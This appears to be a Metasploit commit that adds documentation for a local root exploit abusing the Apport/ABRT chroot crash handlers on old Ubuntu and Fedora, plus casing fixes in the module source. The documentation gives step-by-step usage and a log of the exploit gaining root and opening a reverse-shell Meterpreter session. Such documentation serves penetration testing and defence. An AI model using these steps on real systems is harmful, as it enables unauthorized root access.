Skip to content

Commit 23f4bf1

Browse files
committed
Add documentation
1 parent e1cbe4e commit 23f4bf1

File tree

2 files changed

+75
-6
lines changed

2 files changed

+75
-6
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
## Description
2+
3+
This module attempts to gain root privileges on Ubuntu and Fedora systems by invoking the default coredump handler inside a namespace ("container").
4+
5+
6+
## Vulnerable Application
7+
8+
Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are vulnerable, due to a feature which allows forwarding reports to a container's Apport by changing the root directory before loading the crash report, causing `usr/share/apport/apport` within the crashed task's directory to be executed.
9+
10+
Similarly, Fedora is vulnerable when the kernel crash handler is configured to change root directory before executing ABRT, causing `usr/libexec/abrt-hook-ccpp` within the crashed task's directory to be executed.
11+
12+
In both instances, the crash handler does not drop privileges, resulting in code execution as root.
13+
14+
* Apport 2.14.1 on Ubuntu 14.04.1 LTS x86 and x86_64
15+
* ABRT on Fedora 19 and 20 x86_64.
16+
17+
18+
## Verification Steps
19+
20+
1. Start `msfconsole`
21+
2. Get a session
22+
3. Do: `use exploit/linux/local/apport_abrt_chroot_priv_esc`
23+
4. Do: `set SESSION [SESSION]`
24+
5. Do: `check`
25+
6. Do: `run`
26+
7. You should get a new root session
27+
28+
29+
## Options
30+
31+
**SESSION**
32+
33+
Which session to use, which can be viewed with `sessions`
34+
35+
**WritableDir**
36+
37+
A writable directory file system path. (default: `/tmp`)
38+
39+
40+
## Scenarios
41+
42+
```
43+
msf > use exploit/linux/local/apport_abrt_chroot_priv_esc
44+
msf exploit(linux/local/apport_abrt_chroot_priv_esc) > set session 1
45+
session => 1
46+
msf exploit(linux/local/apport_abrt_chroot_priv_esc) > run
47+
48+
[!] SESSION may not be compatible with this module.
49+
[*] Started reverse TCP handler on 172.16.191.244:4444
50+
[*] Writing '/tmp/.drY6cJZ' (887316 bytes) ...
51+
[*] Writing '/tmp/.LtJvrgjXq' (207 bytes) ...
52+
[*] Launching exploit...
53+
[+] Upgraded session to root privileges ('uid=0(root) gid=1000(user) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(user)')
54+
[*] Sending stage (857352 bytes) to 172.16.191.252
55+
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.252:35552) at 2018-01-11 09:58:25 -0500
56+
[+] Deleted /tmp/.drY6cJZ
57+
[+] Deleted /tmp/.LtJvrgjXq
58+
59+
meterpreter > getuid
60+
Server username: uid=0, gid=1000, euid=0, egid=1000
61+
meterpreter > sysinfo
62+
Computer : 172.16.191.252
63+
OS : Ubuntu 14.04 (Linux 3.13.0-32-generic)
64+
Architecture : x64
65+
BuildTuple : i486-linux-musl
66+
Meterpreter : x86/linux
67+
meterpreter >
68+
```
69+

modules/exploits/linux/local/apport_abrt_chroot_priv_esc.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Local
1212

1313
def initialize(info = {})
1414
super(update_info(info,
15-
'Name' => 'Apport / Abrt chroot Privilege Escalation',
15+
'Name' => 'Apport / ABRT chroot Privilege Escalation',
1616
'Description' => %q{
1717
This module attempts to gain root privileges on Linux systems by
1818
invoking the default coredump handler inside a namespace ("container").
@@ -24,15 +24,15 @@ def initialize(info = {})
2424
task's directory to be executed.
2525
2626
Similarly, Fedora is vulnerable when the kernel crash handler is
27-
configured to change root directory before executing Abrt, causing
27+
configured to change root directory before executing ABRT, causing
2828
'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be
2929
executed.
3030
3131
In both instances, the crash handler does not drop privileges,
3232
resulting in code execution as root.
3333
3434
This module has been tested successfully on Apport 2.14.1 on
35-
Ubuntu 14.04.1 LTS x86 and x86_64 and Abrt on Fedora 19 and 20 x86_64.
35+
Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.
3636
},
3737
'License' => MSF_LICENSE,
3838
'Author' =>
@@ -55,7 +55,7 @@ def initialize(info = {})
5555
[ 'EDB', '36782' ],
5656
[ 'EDB', '36746' ],
5757
[ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ],
58-
# Abrt (Fedora)
58+
# ABRT (Fedora)
5959
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
6060
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
6161
# Apport (Ubuntu)
@@ -92,7 +92,7 @@ def check
9292
# Patched systems no longer preface the command with /usr/sbin/chroot
9393
# kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
9494
if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp')
95-
vprint_good 'System is configured to chroot Abrt for crash reporting'
95+
vprint_good 'System is configured to chroot ABRT for crash reporting'
9696
return CheckCode::Vulnerable
9797
end
9898

@@ -120,7 +120,7 @@ def check
120120
return CheckCode::Safe
121121
end
122122

123-
vprint_error 'System is NOT configured to use Apport or chroot Abrt for crash reporting'
123+
vprint_error 'System is NOT configured to use Apport or chroot ABRT for crash reporting'
124124

125125
CheckCode::Safe
126126
end

0 commit comments

Comments
 (0)